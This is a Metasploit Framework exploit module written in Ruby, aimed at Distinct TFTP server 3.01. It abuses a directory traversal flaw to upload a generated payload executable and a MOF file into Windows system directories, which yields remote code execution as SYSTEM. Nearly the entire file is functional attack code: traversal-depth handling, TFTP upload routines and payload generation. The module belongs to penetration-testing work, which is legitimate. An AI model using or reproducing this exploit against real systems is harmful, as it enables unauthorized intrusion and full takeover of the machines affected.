##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Rex::Proto::TFTP
 include Msf::Exploit::EXE
 include Msf::Exploit::WbemExec

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Distinct TFTP 3.01 Writable Directory Traversal Execution",
   'Description'    => %q{
     This module exploits a vulnerability found in Distinct TFTP server.  The
    software contains a directory traversal vulnerability that allows a remote
    attacker to write arbitrary file to the file system, which results in
    code execution under the context of 'SYSTEM'.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'modpr0be',  #Initial discovery, PoC (Tom Gregory)
     'sinn3r'     #Metasploit
    ],
   'References'     =>
    [
     ['OSVDB', '80984'],
     ['EDB', '18718'],
     ['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00",
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "none"
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Distinct TFTP 3.01 on Windows', {}]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Apr 8 2012",
   'DefaultTarget'  => 0))

  register_options([
   OptInt.new('DEPTH', [false, "Levels to reach base directory",10]),
   OptAddress.new('RHOST', [true, "The remote TFTP server address"]),
   OptPort.new('RPORT', [true, "The remote TFTP server port", 69])
  ], self.class)
 end

 def upload(filename, data)
  tftp_client = Rex::Proto::TFTP::Client.new(
   "LocalHost"  => "0.0.0.0",
   "LocalPort"  => 1025 + rand(0xffff-1025),
   "PeerHost"   => datastore['RHOST'],
   "PeerPort"   => datastore['RPORT'],
   "LocalFile"  => "DATA:#{data}",
   "RemoteFile" => filename,
   "Mode"       => "octet",
   "Context"    => {'Msf' => self.framework, "MsfExploit" => self },
   "Action"     => :upload
  )

  ret = tftp_client.send_write_request { |msg| print_status(msg) }
  while not tftp_client.complete
   select(nil, nil, nil, 1)
   tftp_client.stop
  end
 end

 def exploit
  peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"

  # Setup the necessary files to do the wbemexec trick
  exe_name = rand_text_alpha(rand(10)+5) + '.exe'
  exe      = generate_payload_exe
  mof_name = rand_text_alpha(rand(10)+5) + '.mof'
  mof      = generate_mof(mof_name, exe_name)

  # Configure how deep we want to traverse
  depth  = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
  levels = "../" * depth

  # Upload the malicious executable to C:\Windows\System32\
  print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
  upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)

  # Let the TFTP server idle a bit before sending another file
  select(nil, nil, nil, 1)

  # Upload the mof file
  print_status("#{peer} - Uploading .mof...")
  upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
 end
end